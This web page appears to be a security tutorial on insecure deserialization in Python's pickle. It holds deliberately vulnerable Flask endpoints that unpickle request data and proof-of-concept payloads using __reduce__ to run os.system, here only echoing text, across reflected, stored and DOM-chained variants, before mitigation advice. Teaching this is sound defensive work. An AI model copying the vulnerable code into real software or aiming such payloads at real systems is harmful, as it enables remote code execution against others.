Insecure Deserialization is a security flaw that happens when an application loads (deserializes) data from an untrusted source without checking it, allowing attackers to modify the data and potentially gain unauthorized access, change application behavior, or run malicious code.
Insecure Deserialization works by exploiting the way applications convert data back into objects.
Here’s the step-by-step process:
1). Application serializes data
The server converts an object (like user info or session data) into a storable format (JSON, XML, binary).
Example:
{"user":"alice","role":"user"}
2). Serialized data is sent or stored
It might be stored in cookies, local files, or sent to the client.
3). Attacker tampers with the serialized data
The attacker modifies it, e.g., changing role from user to admin, or injecting a malicious object payload.
4). Application blindly deserializes the data
When the modified data is sent back, the application trusts it and converts it back into an object without validation.
5). Malicious effects occur
This can lead to:
Privilege escalation (normal user → admin)
Remote Code Execution (RCE) using gadget chains
Denial of Service (DoS) by feeding huge or recursive payloads
import pickle # Python's serialization library
# Simulating user-supplied serialized data
def load_user_data(serialized_data):
return pickle.loads(serialized_data) # ❌ Vulnerable: blindly deserializing
# Example safe serialized data (normally from a trusted source)
safe_data = pickle.dumps({"user": "alice", "role": "user"})
print("Before exploit:", load_user_data(safe_data))
This works fine when safe_data is not tampered with.
An attacker can craft a malicious object that executes code when deserialized:
import pickle
import os
class Evil:
def __reduce__(self):
return (os.system, ("echo 'Hacked! Malicious code executed!'",))
# Attacker creates malicious payload
malicious_data = pickle.dumps(Evil())
# Simulate sending it to the vulnerable server
print("Triggering exploit...")
load_user_data(malicious_data) # When deserialized → executes the payload
The most severe form.
Attacker injects a malicious object (gadget) that executes code when deserialized.
Common in languages like Java (readObject), Python (pickle), PHP (unserialize).
Example:
Sending a crafted serialized object that runs os.system("malicious command") when deserialized.
Attacker modifies serialized session data or user roles.
When deserialized, it grants higher privileges.
Example:
Changing { "user": "bob", "role": "user" } → { "user": "bob", "role": "admin" }
The server trusts the modified role and grants admin access.
Attackers capture a valid serialized object and resend it later (replay).
Or they modify values inside serialized data to manipulate business logic.
Example:
Tampering with a serialized shopping cart object to change product prices.
Attacker sends maliciously large or recursive serialized data.
Deserialization consumes excessive memory or CPU → crashes the app.
Example:
A deeply nested object that causes infinite recursion during deserialization.
Some gadget chains trigger HTTP requests when deserialized.
Can be used to scan internal networks or hit cloud metadata endpoints.
Changing serialized objects can alter how the application behaves.
Example:
Modifying payment objects to bypass validation.
Reflected Insecure Deserialization isn’t a formal OWASP category like “Reflected XSS,” but the idea can happen when serialized data provided by the attacker is immediately deserialized by the application without being stored (like a reflected input).
So think of it as:
Reflected XSS → input is sent and reflected back immediately in the response.
Reflected Insecure Deserialization → attacker sends a malicious serialized payload, and the server instantly deserializes it (instead of saving it first), triggering code execution or logic manipulation on the fly.
from flask import Flask, request
import pickle
import os
app = Flask(__name__)
@app.route("/load", methods=["GET"])
def load_data():
serialized_data = request.args.get("data") # Attacker-controlled
obj = pickle.loads(bytes.fromhex(serialized_data)) # ❌ Reflected Deserialization
return f"Deserialized: {obj}"
# Normal safe request
# /load?data=8004950f0000000000007d94288c0475736572948c05616c696365948c04726f6c65948c04757365729475
if __name__ == "__main__":
app.run(debug=True)
Attacker Exploit
# Attacker builds malicious payload
class Evil:
def __reduce__(self):
return (os.system, ("echo '🔥 Hacked via Reflected Deserialization!'",))
malicious_payload = pickle.dumps(Evil())
print(malicious_payload.hex()) # Attacker sends this hex string in ?data=
http://target.com/load?data=
Read More :
It’s when an attacker stores a malicious serialized payload (in a database, file, cookie, or session). Later, when the application retrieves and deserializes it, the payload triggers, leading to Remote Code Execution (RCE) or other malicious actions.
Unlike Reflected, it persists and can trigger anytime later (e.g., when an admin loads it).
import pickle
import os
# Simulated database
database = {}
# Save serialized data into the "database"
def store_data(key, serialized_data):
database[key] = serialized_data
print(f"Data stored under key: {key}")
# Load data from the database and deserialize
def load_data(key):
data = database.get(key)
if data:
print(f"Loading data for key: {key}")
# ❌ VULNERABLE: blindly deserializing untrusted data
return pickle.loads(data)
return None
# Legitimate safe object
safe_object = {"user": "alice", "role": "user"}
safe_serialized = pickle.dumps(safe_object)
# Store and retrieve normally
store_data("session1", safe_serialized)
print("Safe session loaded:", load_data("session1"))
# Attacker crafts a malicious payload
class EvilPayload:
def __reduce__(self):
# This executes when deserialized!
return (os.system, ("echo '🔥 STORED DESERIALIZATION RCE TRIGGERED!'",))
# Attacker serializes the malicious object
malicious_serialized = pickle.dumps(EvilPayload())
# Attacker stores it (e.g., via a vulnerable API or form)
store_data("session2", malicious_serialized)
# Later, maybe an admin opens this session
print("\n[Later - Admin loads the stored session]")
load_data("session2") # BOOM! Executes attacker's payload
DOM-based Insecure Deserialization is not a standard category like DOM-based XSS because deserialization vulnerabilities occur on the server side, while DOM-based issues are purely client-side (browser).
However, you can have a DOM-to-deserialization attack chain, where:
The attacker manipulates DOM data (like URL fragments or query params).
The frontend JavaScript passes that data to the backend.
The backend blindly deserializes it, leading to Insecure Deserialization (RCE, privilege escalation, etc.).
So it’s a DOM injection → triggers insecure deserialization on the server.
// Frontend JS takes data from the URL hash
let userData = window.location.hash.substr(1);
// Sends it to the backend
fetch('/api/load?data=' + encodeURIComponent(userData));
# Backend Flask API
from flask import request
import pickle
@app.route('/api/load')
def load():
data = request.args.get('data')
obj = pickle.loads(bytes.fromhex(data)) # ❌ Vulnerable!
return f"Loaded: {obj}"
import pickle, os
class Evil:
def __reduce__(self):
return (os.system, ("echo '🔥 DOM-Based Deserialization Exploit!'",))
payload = pickle.dumps(Evil())
print(payload.hex()) # Attacker puts this in URL hash
https://victim.com/#8004950f0000000000007d94288c047573657294...
How to Mitigate DOM-Based Insecure Deserialization
Never let DOM-controlled data be sent directly to backend deserialization.
Use safe data formats like JSON instead of executable serialization formats.
Sign or validate serialized data to detect tampering.
Restrict deserialization to an allowlist of safe classes.
Always validate and sanitize input before processing on the server.
Keep deserialization libraries updated to avoid known gadget chain exploits.
Isolate or sandbox deserialization logic to limit impact if exploited.
Signup our newsletter to get update information, news, insight or promotions.
Copyright 2025 © Hackanics